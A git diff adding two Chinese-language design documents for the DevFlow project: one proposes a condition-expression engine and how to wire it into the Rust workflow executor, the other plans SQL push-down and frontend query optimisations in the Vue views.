- `in_review→testing`:AiNode 自审 + HumanNode 核对(reject→②-5 Err→failed→②-4 退回 in_progress,review_rounds+1)
|
||||
- `testing→done`:HumanNode 最终核对
|
||||
|
||||
节点级不携带 target_status(避免节点间状态不一致),工作流级统一。
|
||||
256
docs/02-架构设计/专项设计/条件表达式引擎-2026-06-15.md
Normal file
256
docs/02-架构设计/专项设计/条件表达式引擎-2026-06-15.md
Normal file
@@ -0,0 +1,256 @@
|
||||
# 条件表达式引擎设计(R-PD-3 / T-260614-11)
|
||||
|
||||
> 来源:全局代码 review `docs/05-代码审查/全局代码review-2026-06-15.md` §🔴 P1 需设计 R-PD-3 + 架构洞察第 4 条
|
||||
> 性质:设计文档(供用户核对方案),不含实现
|
||||
> 关联:todo `T-260614-11 条件表达式引擎升级`、R-P2-13(set_skipped/set_waiting 已删)
|
||||
|
||||
---
|
||||
|
||||
## 一、现状
|
||||
|
||||
### 1.1 ConditionEngine 从未被接线
|
||||
|
||||
`crates/df-workflow/src/conditions.rs:8` 定义了 `ConditionEngine::evaluate(expr, context) -> Result<bool>`,全仓 grep 确认:**除自身定义与单元测试外,零调用**。executor 从不调它,build_dag 只把 `EdgeDef.condition` 原样写入 runtime `Edge.condition`(`registry.rs:62-69`),写入后无人消费。
|
||||
|
||||
### 1.2 executor 不区分条件边,无条件灌入前驱输出
|
||||
|
||||
`executor.rs:62-97` 构建 `adjacency_in: target → Vec<source>` 时丢掉 `edge.condition`,只保留 source/target;随后 inputs 收集处(`executor.rs:91-97`):
|
||||
|
||||
```rust
|
||||
let mut inputs = HashMap::new();
|
||||
if let Some(preds) = adjacency_in.get(node_id) {
|
||||
for pred_id in preds {
|
||||
if let Some(out) = outputs.get(pred_id) {
|
||||
inputs.insert(pred_id.clone(), out.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
逐前驱无条件灌入。条件边与普通边行为完全相同。
|
||||
|
||||
### 1.3 topological_layers 把条件边计入入度
|
||||
|
||||
`dag.rs:81-90` 单次遍历边构建入度表,**不检查 `edge.condition`**。条件边 target 的入度照常 +1,BFS 分层照常把它放入某层。
|
||||
|
||||
### 1.4 复现:`add_edge_with_condition("a","c","false")` 实际 c 永远执行
|
||||
|
||||
构造 a → c(condition="false")的 DAG:
|
||||
|
||||
- `topological_layers`:a 入度 0,c 入度 1;分层为 `[[a],[c]]`
|
||||
- 第 0 层执行 a,输出存入 `outputs["a"]`
|
||||
- 第 1 层执行 c:`adjacency_in["c"] = ["a"]`,`outputs["a"]` 存在 → `inputs = {"a": <a 的输出>}`,c 照常 `execute`
|
||||
- `ConditionEngine::evaluate("false", ...)` 本应返 `Ok(false)`,但**从无调用点**
|
||||
|
||||
即条件分支这一 DAG 核心能力整体失效,且对用户静默——前端编了条件边,运行结果与无条件等价,没有任何报错或告警。
|
||||
|
||||
---
|
||||
|
||||
## 二、根因
|
||||
|
||||
三个缺口叠加:
|
||||
|
||||
| 缺口 | 位置 | 表现 |
|
||||
|------|------|------|
|
||||
| ① expressions 仅 true/false 字面量 | `conditions.rs:16-33` | TODO 列了 JSON Path / 比较 / contains / and-or-not,全未实现;只认 `"true"`/`"false"` 两字面量 |
|
||||
| ② executor 无 evaluate 调用 | `executor.rs:91-97` | inputs 收集不读 `edge.condition`,条件边与普通边行为相同 |
|
||||
| ③ topological_layers 计入条件边入度 | `dag.rs:81-90` | 条件边 target 的入度照常 +1,BFS 照常分层调度 |
|
||||
|
||||
review 第 49 行给的修复方向("executor inputs 收集处用 ConditionEngine.evaluate 过滤;topological_layers 前过滤无效边或执行时按条件短路 target 为 Skipped")指向 ②③,本文档补全 ①(表达式能力)与 ③ 短路后的终态机制(**set_skipped 已删**,需设计替代,见 §五)。
|
||||
|
||||
---
|
||||
|
||||
## 三、表达式引擎方案
|
||||
|
||||
### 3.1 现状能力
|
||||
|
||||
`ConditionEngine::evaluate` 当前支持:
|
||||
|
||||
- `"true"` / `"false"` 字面量(区分大小写,先 `trim()` 去首尾空白)
|
||||
- 其余一律 `Ok(false)` + warn(保守拒绝,B-260614-02 已修,默认 true→false)
|
||||
|
||||
### 3.2 支持范围(目标语法)
|
||||
|
||||
工作流条件边的实际诉求是"据前驱节点输出决定下游是否执行"。最小可用集:
|
||||
|
||||
| 语法 | 示例 | 说明 |
|
||||
|------|------|------|
|
||||
| 字面量 | `true` / `false` | 已有,保留 |
|
||||
| 前驱输出访问 | `pred.output.status == 'completed'` | `pred` 为前驱节点 id,`output` 为其 `NodeOutput` 序列化后字段;多前驱时需指定哪个前驱 |
|
||||
| 比较 | `==` `!=` `>` `>=` `<` `<=` | 字符串等值 + 数值大小 |
|
||||
| 包含 | `pred.output.tags contains 'ai'` | 数组包含 / 字符串子串 |
|
||||
| 逻辑组合 | `and` `or` `not` | 括号分组 |
|
||||
| 真值判断 | `pred.output.flag` | 布尔字段直接判真(无比较运算符) |
|
||||
|
||||
`context: &Value` 入参签名已就位(当前 `_context` 未用)。扩展时把当前节点所有前驱输出按 `{ "<pred_id>": <NodeOutput serde> }` 拼成 context 传入即可。
|
||||
|
||||
### 3.3 引第三方 expr 库 vs 手写最小求值器
|
||||
|
||||
| 方案 | 优点 | 缺点 |
|
||||
|------|------|------|
|
||||
| **第三方 `evalexpr`** | 成熟、支持算术/逻辑/函数/变量;API 简单(`eval_with_context`);MIT;crates.io 下载量稳定 | 新增依赖(df-workflow 当前 0 expr 库,workspace 也无);语义需对齐(其变量访问语法 `$var` vs 我们要的 `pred.output.x` 点路径);引入超出条件边需求的算术/函数能力,扩大攻击面(前端可构造任意表达式) |
|
||||
| **第三方 `jsonpath_lib` + 自写比较** | JSON Path 标准成熟,路径表达力强 | 仍需自写比较/逻辑层;两套语法拼装复杂度高于纯手写 |
|
||||
| **手写最小递归下降求值器** | 零新依赖;语法完全自定(直接支持 `pred.output.x`);能力边界可控(拒绝算术/函数,只留比较+逻辑+包含);~150 行可覆盖 §3.2 全部语法 | 自负维护(但语法面小,测试可固化)|
|
||||
|
||||
**取舍(推荐):手写最小求值器**。
|
||||
|
||||
理由:
|
||||
1. 条件边诉求面窄(比较 + 逻辑 + 包含 + 前驱输出访问),不需要通用表达式语言的算术/函数能力。
|
||||
2. 前端可构造任意条件表达式(run_workflow IPC 接 DagDef),手写小语法面比引通用 expr 库的攻击面更可控——通用 expr 库默认支持函数调用/算术,需额外配置禁用。
|
||||
3. df-workflow 当前是零外部表达式依赖的薄 crate,引入 `evalexpr` 对一个"条件分支"单一能力偏重。
|
||||
4. 若后续诉求扩张(如需要正则/数学函数),再评估切换第三方库,届时手写求值器的测试可作迁移回归基准。
|
||||
|
||||
> **决策点 A(需用户确认)**:表达式引擎走手写最小求值器,还是引 `evalexpr`?本文档默认推荐手写。若用户倾向引库,§五的接线方案不变,仅 §三的"实现"段替换。
|
||||
|
||||
---
|
||||
|
||||
## 四、接线方案
|
||||
|
||||
review 给了两种短路粒度,本文档详析:
|
||||
|
||||
### 4.1 方案一:数据流过滤(Phase1)
|
||||
|
||||
**改动点**:executor inputs 收集处(`executor.rs:91-97`)。
|
||||
|
||||
```rust
|
||||
// 伪码
|
||||
let mut inputs = HashMap::new();
|
||||
if let Some(preds_with_cond) = adjacency_in.get(node_id) {
|
||||
for (pred_id, cond_opt) in preds_with_cond {
|
||||
if let Some(out) = outputs.get(pred_id) {
|
||||
// 边有条件 → 求值;条件 false 则不灌入此条边的数据
|
||||
if let Some(cond) = cond_opt {
|
||||
let ctx = json!({ pred_id: out }); // 单前驱上下文
|
||||
match ConditionEngine::evaluate(cond, &ctx) {
|
||||
Ok(true) => { inputs.insert(pred_id.clone(), out.clone()); }
|
||||
Ok(false) => { /* 跳过此边,不灌入 */ }
|
||||
Err(e) => { /* 求值失败兜底,见 §六 */ }
|
||||
}
|
||||
} else {
|
||||
inputs.insert(pred_id.clone(), out.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
需配套:`adjacency_in` 的 value 从 `Vec<NodeId>` 改为 `Vec<(NodeId, Option<String>)>`,携带 `edge.condition`(构建处 `executor.rs:62-68` 同步改)。
|
||||
|
||||
**语义**:target **照常执行**,只是某些前驱的数据不灌入。适合"多前驱汇聚、按条件选择部分输入"的场景。
|
||||
|
||||
**局限**:target 仍被执行。若用户意图是"a 条件不满足时 c 整个不跑"(单条件边、target 唯一前驱),数据流过滤做不到——target 会以空 inputs 执行,语义错位。
|
||||
|
||||
### 4.2 方案二:调度短路(Phase2)
|
||||
|
||||
**改动点**:层调度处(`executor.rs:70-119` 的 for 循环)。
|
||||
|
||||
执行某层前,对层内每个 target 检查:若**所有入边**条件求值均为 false(或其唯一条件边为 false),则 target 标记"条件跳过"终态、不进入 `node_futures`、不发 NodeStarted。
|
||||
|
||||
**关键约束:set_skipped 已删**。R-P2-13 删了 `set_waiting/set_skipped`(全仓零调用,误导状态机认知),保留 `set_cancelled` 作"唯一受控旁路"。`NodeStatus::Skipped` 枚举值仍在(`types.rs:243`,`as_str` 能输出 `"skipped"`),但**无 setter**。调度短路需要一个"条件不满足、target 不执行"的终态,必须解决这个缺口。
|
||||
|
||||
### 4.3 两种短路粒度对比
|
||||
|
||||
| 维度 | 方案一 数据流过滤 | 方案二 调度短路 |
|
||||
|------|------------------|----------------|
|
||||
| target 是否执行 | 执行(部分输入被过滤) | 不执行(直接跳过) |
|
||||
| 适用场景 | 多前驱汇聚、按条件选输入 | 单条件边、条件不满足则 target 整个不跑 |
|
||||
| 用户意图匹配 | 部分 | 完整(用户编条件边的典型意图) |
|
||||
| 终态机制 | 不需要(target 走 Completed) | **需要新终态**(set_skipped 已删,见 §五) |
|
||||
| 改动面 | inputs 收集 + adjacency_in 携带 condition | 层调度 + 终态机制 + 事件(NodeSkipped?) |
|
||||
| 风险 | 低(数据流层面,不影响调度) | 中(动调度循环 + 状态机) |
|
||||
|
||||
---
|
||||
|
||||
## 五、推荐分阶段
|
||||
|
||||
**Phase1(数据流过滤,先打通)**:
|
||||
|
||||
- 范围:§四.1,仅 inputs 收集处接线 ConditionEngine。
|
||||
- 效果:多前驱汇聚场景立即可用;单条件边场景 target 仍执行(空 inputs),需文档标注"Phase1 已知局限"。
|
||||
- 改动面小、零终态机制冲突、可独立 ship。
|
||||
|
||||
**Phase2(调度短路,补完整语义)**:
|
||||
|
||||
- 范围:§四.2,层调度处短路 target。
|
||||
- **前置:解决 set_skipped 删除后的终态机制**——见下。
|
||||
|
||||
### 5.1 set_skipped 删除后的短路机制设计(Phase2 前置)
|
||||
|
||||
R-P2-13 删 `set_skipped/set_waiting` 时,"条件跳过"这一用例尚未接线(ConditionEngine 从未调用,无消费方),删除合理。现在 Phase2 要用"条件跳过"终态,三个选项:
|
||||
|
||||
| 选项 | 做法 | 取舍 |
|
||||
|------|------|------|
|
||||
| **A. 复活 set_skipped 旁路** | `state.rs` 加回 `set_skipped`,与 `set_cancelled` 同型(不经 transition 校验,直接置 `NodeStatus::Skipped`),注释说明"条件跳过专用,区别于 set_cancelled 的人工取消语义" | 最直接;但与 R-P2-13 删除动机("全仓零调用、误导状态机认知")冲突——需明确这是新用例落地后的复活,非反复 |
|
||||
| **B. 复用 set_cancelled** | 条件短路也走 `set_cancelled`,target 终态为 Cancelled | 语义污染:Cancelled 现专指"人工审批取消",条件跳过混入会让 `is_cancelled` 判断与前端"取消"语义混乱。**不推荐** |
|
||||
| **C. 走 transition 合法转换** | 扩 `is_legal` 加 `(Running, Skipped)`,调度短路前先 `set_running` 再 `transition(Skipped)` | 走正门最干净,但需 target 先进 Running 再转 Skipped(两步),且 NodeStarted 已发→语义噪声(节点"启动后立即跳过")。或扩 `(Pending, Skipped)` 直接转换,但破坏"Pending 必经 Running"的不变量 |
|
||||
|
||||
**推荐 A**:复活 `set_skipped` 旁路,注释明确区分两种"非正常终态"语义:
|
||||
|
||||
- `set_cancelled`:人工审批取消(外部 IPC 触发,节点可能已 Running)
|
||||
- `set_skipped`:条件分支跳过(调度层求值条件为 false,target 从未进入 Running)
|
||||
|
||||
两者均不经 transition 校验(条件短路时 target 在 Pending 态,`Pending→Skipped` 走 transition 会被 `is_legal` 拒,与 `set_cancelled` 同理需旁路)。
|
||||
|
||||
> **决策点 B(需用户确认)**:Phase2 的条件跳过终态走选项 A(复活 set_skipped 旁路)?本文档默认推荐 A。若用户倾向 C(扩 transition 合法转换),需同步评估 NodeStarted/NodeSkipped 事件序列与"Pending 必经 Running"不变量的取舍。
|
||||
|
||||
### 5.2 Phase2 配套事件
|
||||
|
||||
`df-core/events::WorkflowEvent` 当前有 NodeStarted/NodeCompleted/NodeFailed。Phase2 条件短路需补 `NodeSkipped { node_id, reason }`(reason = 哪条边的条件为 false + 表达式),前端可据 reason 渲染"跳过原因",闭环"对用户非静默"(R-PD-3 原诉求)。
|
||||
|
||||
---
|
||||
|
||||
## 六、改动面 + 风险
|
||||
|
||||
### 6.1 改动面(行号基于当前 HEAD)
|
||||
|
||||
| Phase | 文件:行 | 改动 |
|
||||
|-------|---------|------|
|
||||
| 1 | `crates/df-workflow/src/conditions.rs:16-33` | evaluate 扩展为手写最小求值器(§三.3)|
|
||||
| 1 | `crates/df-workflow/src/executor.rs:62-68` | `adjacency_in` value 改 `Vec<(NodeId, Option<String>)>`,携带 condition |
|
||||
| 1 | `crates/df-workflow/src/executor.rs:91-97` | inputs 收集处调 `ConditionEngine.evaluate`,false 不灌入 |
|
||||
| 2 | `crates/df-workflow/src/executor.rs:70-119` | 层调度前求值各 target 入边条件,全 false 则短路 |
|
||||
| 2 | `crates/df-workflow/src/state.rs` | 复活 `set_skipped` 旁路(选项 A)|
|
||||
| 2 | `crates/df-core/src/events.rs` | 加 `WorkflowEvent::NodeSkipped` |
|
||||
| 2 | `crates/df-workflow/src/executor.rs` | 短路时发 NodeSkipped + set_skipped,不进 node_futures |
|
||||
|
||||
### 6.2 风险
|
||||
|
||||
**R1:多前驱 context 拼装**。§四.1 伪码用 `json!({ pred_id: out })` 单前驱上下文。多前驱汇聚时,条件表达式需访问哪个前驱?两种设计:
|
||||
- (a) 表达式内显式写前驱 id:`a.output.status == 'ok'`——context 拼成所有前驱 `{ "a":..., "b":... }`,求值器按 `a.output.x` 路径取值
|
||||
- (b) target 的所有入边条件独立求值,各用单前驱上下文——不支持"跨前驱联合判断"
|
||||
|
||||
推荐 (a),context 拼全前驱,求值器路径访问。`pred.output.xxx` 在 review 第 49 行已示意。
|
||||
|
||||
**R2:条件求值失败的兜底**。求值出错(语法错 / 路径不存在 / 类型不匹配)时返 `Err`,executor 怎么处理?
|
||||
|
||||
| 选项 | 语义 | 取舍 |
|
||||
|------|------|------|
|
||||
| **默认 true** | 求值失败 = 放行 | 与 ConditionEngine 当前的"未识别默认 false"(B-260614-02)相反,破坏保守拒绝原则。**不推荐** |
|
||||
| **默认 false** | 求值失败 = 拒绝(条件边不灌入 / target 跳过)| 与 B-260614-02 的保守拒绝一致;但用户表达式写错时 target 静默不跑,需配套告警 |
|
||||
| **报错中止工作流** | 求值失败 = 工作流 Failed | 最显式,但单个条件边语法错炸整条工作流,可能过激 |
|
||||
|
||||
**推荐:默认 false + warn 日志 + Phase2 的 NodeSkipped.reason 透出表达式**。条件边本质是"用户声明的过滤规则",规则写错应保守拒绝(不执行)而非放行,与现有保守拒绝原则对齐;非静默靠 warn + reason 闭环。区别于 B-260614-02 的"引擎未实现"(那是 TODO 完全未做),这里是"用户表达式语法错"——两者都走 false,但 warn 文案区分。
|
||||
|
||||
> **决策点 C(需用户确认)**:条件求值失败兜底走"默认 false + warn"(推荐)还是"报错中止工作流"?
|
||||
|
||||
**R3:topological_layers 计入条件边入度的交互**。Phase1 数据流过滤不动 topological_layers,条件边仍计入入度、target 仍分层调度——这与"条件边语义"不冲突(Phase1 只过滤数据,不拦调度)。Phase2 调度短路有两种实现路径:
|
||||
- (a) topological_layers 内部按条件过滤无效边(需把前驱输出传进 topological_layers,但分层时前驱尚未执行,条件无法求值)——**不可行**,条件依赖运行时输出
|
||||
- (b) 分层照常(含条件边入度),执行时层调度前求值条件短路 target——**可行**,条件求值发生在前驱已完成、target 将执行的边界
|
||||
|
||||
推荐 (b)。topological_layers 保持纯结构(不掺运行时),条件求值在 executor 调度边界。
|
||||
|
||||
**R4:循环依赖风险**。条件边若构成 target 的所有入边均条件 false,target 永不执行。这是用户 DAG 的逻辑,引擎照常短路即可,不需特殊处理(与"用户写了死代码节点"同类)。
|
||||
|
||||
**R5:与 R-PD-2(ScriptNode 任意 shell)的边界**。条件表达式本身不经 shell,纯内存求值,无 R-PD-2 的 shell 注入面。但若 Phase2 引第三方 expr 库(§三.3 若用户改选 evalexpr),其函数调用能力需配置禁用(前端可构造任意表达式)。
|
||||
|
||||
---
|
||||
|
||||
## 七、待用户确认的决策点
|
||||
|
||||
| # | 决策 | 推荐 | 备选 |
|
||||
|---|------|------|------|
|
||||
| A | 表达式引擎实现 | 手写最小求值器(零依赖、语法可控)| 引 `evalexpr`(成熟、能力全、攻击面大)|
|
||||
| B | Phase2 条件跳过终态机制 | 复活 `set_skipped` 旁路(与 `set_cancelled` 同型,语义区分)| 扩 `is_legal` 走 transition 正门(破坏 Pending→Running 不变量)|
|
||||
| C | 条件求值失败兜底 | 默认 false + warn + NodeSkipped.reason 透出 | 报错中止整条工作流 |
|
||||
|
||||
确认后即可按 §五分阶段推进:Phase1(数据流过滤)独立可 ship,Phase2(调度短路 + 终态机制)依赖决策点 B。
|
||||
453
docs/02-架构设计/专项设计/查询效率优化方案-2026-06-19.md
Normal file
453
docs/02-架构设计/专项设计/查询效率优化方案-2026-06-19.md
Normal file
@@ -0,0 +1,453 @@
|
||||
# PERF-260619-01 查询效率优化方案
|
||||
|
||||
> **状态**:方案设计完成,待评审
|
||||
> **日期**:2026-06-19
|
||||
> **范围**:DevFlow 前后端数据查询链路
|
||||
|
||||
---
|
||||
|
||||
## 一、探索分析
|
||||
|
||||
### 1.1 问题全景
|
||||
|
||||
当前 DevFlow 的数据查询链路存在 **6 个核心问题**,分布在后端 SQL 层、前端 store 层、前端视图层三个层面。
|
||||
|
||||
### 1.2 问题清单
|
||||
|
||||
| # | 层 | 问题 | 严重度 | 代码位置 |
|
||||
|---|---|---|---|---|
|
||||
| P1 | 后端 SQL | `list_tasks` 全量查询后内存 `retain` 过滤 project_id | 中 | `commands/task.rs:32-37` |
|
||||
| P2 | 前端视图 | `ProjectDetail.vue` 全量 `loadTasks()` 后 computed 过滤 | 中 | `ProjectDetail.vue onMounted` |
|
||||
| P3 | 前端视图 | `TaskDetail.vue` 独立 `projectApi.list()` 拉全量项目仅解析单个项目名 | 低 | `TaskDetail.vue load()` |
|
||||
| P4 | 前端视图 | `Dashboard.vue` 每次进入全量加载 projects+tasks+ideas | 低 | `Dashboard.vue loadAll()` |
|
||||
| P5 | 前端 store | 无跨视图缓存/去重,路由切换重复 IPC | 中 | `stores/project.ts` 全局 |
|
||||
| P6 | 后端 SQL | 无字段投影,列表场景返回完整 Record(含 description 大字段) | 低 | CRUD 层全局 |
|
||||
|
||||
### 1.3 问题详解
|
||||
|
||||
#### P1:`list_tasks` 内存过滤(中)
|
||||
|
||||
**现状**:
|
||||
```rust
|
||||
// commands/task.rs:32-37
|
||||
pub async fn list_tasks(state, project_id: Option<String>) -> Result<Vec<TaskRecord>, String> {
|
||||
let mut tasks = state.tasks.list_active().await.map_err(err_str)?; // SELECT * FROM tasks WHERE deleted_at IS NULL
|
||||
if let Some(pid) = project_id {
|
||||
tasks.retain(|t| t.project_id == pid); // 内存过滤
|
||||
}
|
||||
Ok(tasks)
|
||||
}
|
||||
```
|
||||
|
||||
**影响**:每次按项目筛选任务时,从 SQLite 拉取**全部未删除任务**(含 14 个字段含 description),然后在 Rust 端 `retain` 过滤。当前 6 个项目 ~15 个任务时影响极小,但随任务增长线性退化。
|
||||
|
||||
**注释中的判断**(task.rs:28):*"任务量小,无需 SQL 下推,避免新增专用查询方法"* — 当前成立,但需提前规划。
|
||||
|
||||
#### P2:`ProjectDetail.vue` 全量 loadTasks(中)
|
||||
|
||||
**现状**:
|
||||
```typescript
|
||||
// ProjectDetail.vue onMounted
|
||||
await store.loadProjects()
|
||||
await store.loadTasks() // 无参 → 全量拉取所有项目的任务
|
||||
// 然后 computed 前端过滤
|
||||
const projectTasks = computed(() =>
|
||||
store.tasks.filter(t => t.project_id === projectId.value)
|
||||
)
|
||||
```
|
||||
|
||||
**影响**:进入项目详情页时拉取**所有项目的全部任务**,仅为展示当前项目的任务。这与 `Tasks.vue` 的按项目筛选加载模式(B-260615-29 契约)不一致。
|
||||
|
||||
**根因**:`ProjectDetail.vue` 使用全局 `store.tasks` 单例 + computed 过滤,而非按 project_id 精确拉取。设计意图是"不覆盖全局 tasks 单例"(避免破坏 Tasks 视图的筛选状态),但代价是全量拉取。
|
||||
|
||||
#### P3:`TaskDetail.vue` 独立拉全量项目列表(低)
|
||||
|
||||
**现状**:
|
||||
```typescript
|
||||
// TaskDetail.vue load()
|
||||
const [t, ps] = await Promise.all([
|
||||
taskApi.get(taskId.value), // 拉单个任务 ✓
|
||||
projectApi.list(), // 拉全部项目 ✗ 仅为解析 project_id → name
|
||||
])
|
||||
```
|
||||
|
||||
**影响**:TaskDetail 绕过 store 直接调 `projectApi.list()`,拉取全部项目(含 description 大字段),仅为从 `projects.find(p => p.id === task.project_id)` 解析一个项目名。
|
||||
|
||||
**根因**:TaskDetail 设计为"绕 store 独立入口"(有本地 `df-data-changed` 监听补偿),不依赖全局 store 的 projects 数组。
|
||||
|
||||
#### P4:`Dashboard.vue` 全量三实体加载(低)
|
||||
|
||||
**现状**:
|
||||
```typescript
|
||||
// Dashboard.vue loadAll()
|
||||
await Promise.all([store.loadProjects(), store.loadTasks(), store.loadIdeas()])
|
||||
```
|
||||
|
||||
**影响**:每次进入 Dashboard 全量拉取三个实体。Dashboard 只需要:
|
||||
- 项目数 + 活跃任务数(统计)
|
||||
- 项目列表(名称 + 状态 + updated_at)
|
||||
- 灵感列表前 4 条(标题 + score + status)
|
||||
|
||||
但拉取了完整 Record(含 description / ai_analysis / scores 等大字段)。
|
||||
|
||||
**缓解因素**:store 是全局单例,如果用户先访问过其他页面(Tasks/Projects),数据已在 store 中。但 Dashboard 的 `loadAll` 无条件覆盖刷新。
|
||||
|
||||
#### P5:无跨视图缓存/去重(中)
|
||||
|
||||
**现状**:
|
||||
- `Tasks.vue onMounted` → `loadProjects() + loadTasks()`
|
||||
- `ProjectDetail.vue onMounted` → `loadProjects() + loadTasks()`
|
||||
- `Dashboard.vue onMounted` → `loadProjects() + loadTasks() + loadIdeas()`
|
||||
- `TaskDetail.vue load()` → `projectApi.list()`(绕 store)
|
||||
|
||||
**影响**:路由切换时(如 Tasks → ProjectDetail → Tasks),每次 onMounted 都重新发起 IPC 全量拉取。store 虽然是单例(数据在内存),但 `loadXxx` 方法无条件覆盖刷新,没有"数据未过期则跳过"的判断。
|
||||
|
||||
**根因**:store 的 load 方法无 dirty/timestamp 标记,无法判断"已有数据是否新鲜"。
|
||||
|
||||
#### P6:无字段投影(低)
|
||||
|
||||
**现状**:所有查询返回完整 Record。
|
||||
|
||||
- `ProjectRecord`:9 字段(含 description 可能很长)
|
||||
- `TaskRecord`:14 字段(含 description + output_json 可能很长)
|
||||
- `IdeaRecord`:13 字段(含 ai_analysis + scores + description)
|
||||
|
||||
列表场景(Tasks/Dashboard/Projects)只需要 id/name/status/priority 等少量字段,详情页才需要全字段。
|
||||
|
||||
**影响**:IPC 传输 + JSON 序列化开销。当前数据量小,影响不明显。
|
||||
|
||||
### 1.4 关键约束
|
||||
|
||||
| # | 约束 | 来源 | 影响 |
|
||||
|---|---|---|---|
|
||||
| C1 | `store.tasks` 必须反映 Tasks 视图当前筛选(activeProject),不能被无参 `loadTasks()` 覆盖为全量 | B-260615-29 契约 | P2 修复不能简单改为 `loadTasks(projectId)`,因为会覆盖全局 tasks 单例 |
|
||||
| C2 | 后端 AI 工具执行后 emit `df-data-changed`,前端按 entity 刷新对应列表 | AR-11 事件机制 | 优化时需保留联动;缓存策略需响应此事件失效 |
|
||||
| C3 | TaskDetail 绕 store 直接调 API,有本地 `df-data-changed` 监听补偿 | 设计决策 | P3 修复需考虑是否回归 store 或保持独立 |
|
||||
| C4 | 任务 status 只能走 `advance_task_atomic` 状态机 | 状态机收口 | 不影响查询优化,但 update_task 白名单已移除 status |
|
||||
| C5 | SQLite 本地存储,当前数据量小(~6 项目 ~15 任务) | 实际数据 | 短期性能影响极小,优化面向中长期数据增长 |
|
||||
| C6 | CRUD 层(`impl_repo!` 宏)无 SELECT 列裁剪、无 LIMIT/OFFSET 支持 | 架构现状 | P6 需扩展宏或新增专用查询方法 |
|
||||
|
||||
---
|
||||
|
||||
## 二、方案设计
|
||||
|
||||
### 2.1 设计原则
|
||||
|
||||
1. **渐进式**:分阶段实施,每阶段独立可交付、可验证
|
||||
2. **低风险**:优先做不改 API 契约的内部优化,外部行为不变
|
||||
3. **数据量驱动**:当前数据量小,不做过度设计;预留扩展点但不提前实现
|
||||
4. **不破坏 AR-11**:所有缓存/优化方案必须保留 `df-data-changed` 事件联动
|
||||
|
||||
### 2.2 分阶段实施计划
|
||||
|
||||
---
|
||||
|
||||
### Phase 1:SQL 下推 + 精确查询(低风险,高 ROI)
|
||||
|
||||
**目标**:消除后端全量查询 + 内存过滤,前端视图精确拉取所需数据。
|
||||
|
||||
**改动点**:
|
||||
|
||||
#### 1.1 TaskRepo 新增 `list_active_by_project`(后端)
|
||||
|
||||
```rust
|
||||
// crates/df-storage/src/crud/task_repo.rs
|
||||
impl TaskRepo {
|
||||
/// 列出指定项目的未删除任务
|
||||
pub async fn list_active_by_project(&self, project_id: &str) -> Result<Vec<TaskRecord>> {
|
||||
let conn = self.conn.clone();
|
||||
let project_id = project_id.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let mut stmt = guard
|
||||
.prepare("SELECT id, project_id, title, description, status, priority, branch_name, assignee, workflow_def_id, base_branch, review_rounds, output_json, created_at, updated_at FROM tasks WHERE deleted_at IS NULL AND project_id = ?1 ORDER BY created_at DESC")
|
||||
.map_err(storage_err)?;
|
||||
let rows = stmt.query_map(params![project_id], |row| task_from_row(row)).map_err(storage_err)?;
|
||||
// ...collect
|
||||
}).await.map_err(storage_err)?
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
⚠️ **依赖注意(F-260619-01 idea_id)**:上方 SQL 硬编码 14 列,与 `list_active()` 完全重复。若 F-260619-01(TaskRecord 新增 `idea_id` 字段)先于本方案落地,`task_from_row` 会调 `row.get("idea_id")`,但 SQL 列表无此列 → rusqlite 报错。两案并行时须同步加列,或改用 `SELECT * FROM tasks WHERE ...`(rusqlite 允许结果集含 from_row 未消费的多余列)。
|
||||
|
||||
#### 1.2 `list_tasks` 命令层路由(后端)
|
||||
|
||||
```rust
|
||||
// commands/task.rs
|
||||
pub async fn list_tasks(state, project_id: Option<String>) -> Result<Vec<TaskRecord>, String> {
|
||||
match project_id {
|
||||
Some(pid) => state.tasks.list_active_by_project(&pid).await.map_err(err_str),
|
||||
None => state.tasks.list_active().await.map_err(err_str),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**外部行为不变**:API 签名 + 返回类型一致,前端零改动。
|
||||
|
||||
#### 1.3 `ProjectDetail.vue` 按项目精确拉取(前端)
|
||||
|
||||
**问题**:不能直接 `store.loadTasks(projectId)`,因为会覆盖全局 tasks 单例(违反 C1)。
|
||||
|
||||
**方案**:ProjectDetail 不用全局 `store.tasks`,改为本地 ref + 精确拉取:
|
||||
|
||||
```typescript
|
||||
// ProjectDetail.vue
|
||||
const localTasks = ref<TaskRecord[]>([])
|
||||
|
||||
onMounted(async () => {
|
||||
await store.loadProjects()
|
||||
localTasks.value = await taskApi.list(projectId.value) // 精确拉取
|
||||
// ...
|
||||
})
|
||||
```
|
||||
|
||||
**收益**:从全量拉取 → 仅拉取当前项目任务。
|
||||
|
||||
⚠️ **必须配套(评审升级)**:ProjectDetail 当前**没有** `df-data-changed` 监听——它靠全局 `store.tasks`(App.vue 的 `startDataChangedListener` 刷新 store → computed 自动响应)间接获得 AR-11 联动。改为本地 ref 后这条链路**断裂**。必须在 onMounted 中新增本地 `df-data-changed` 监听:
|
||||
|
||||
```typescript
|
||||
// ProjectDetail.vue onMounted 新增(必须,非可选)
|
||||
let _unlistenDataChanged: (() => void) | null = null
|
||||
onMounted(async () => {
|
||||
await store.loadProjects()
|
||||
localTasks.value = await taskApi.list(projectId.value)
|
||||
// AR-11 本地监听:entity=task 时按当前 projectId 精确刷新
|
||||
_unlistenDataChanged = await listen<DfDataChangedPayload>('df-data-changed', (event) => {
|
||||
if (event.payload.entity === 'task') {
|
||||
taskApi.list(projectId.value).then(ts => { localTasks.value = ts })
|
||||
}
|
||||
})
|
||||
})
|
||||
onUnmounted(() => {
|
||||
_unlistenDataChanged?.()
|
||||
// ...existing unlisten cleanup
|
||||
})
|
||||
```
|
||||
|
||||
> **注意**:ProjectDetail 现有的 `store.startEventListener()` 是**工作流节点事件**监听(`workflowStore.startEventListener`),不是数据变更监听,两者不可混淆。
|
||||
|
||||
#### 1.4 `TaskDetail.vue` 改用 store 或 get_project(前端)
|
||||
|
||||
**方案 A**:改用 `store.projects` 复用全局缓存,不再独立 `projectApi.list()`:
|
||||
|
||||
```typescript
|
||||
// TaskDetail.vue
|
||||
const store = useProjectStore()
|
||||
const projectName = computed(() =>
|
||||
store.projects.find(p => p.id === task.value?.project_id)?.name ?? task.value?.project_id ?? '—'
|
||||
)
|
||||
// load() 只拉单个任务,不再拉全量项目
|
||||
async function load() {
|
||||
task.value = await taskApi.get(taskId.value)
|
||||
}
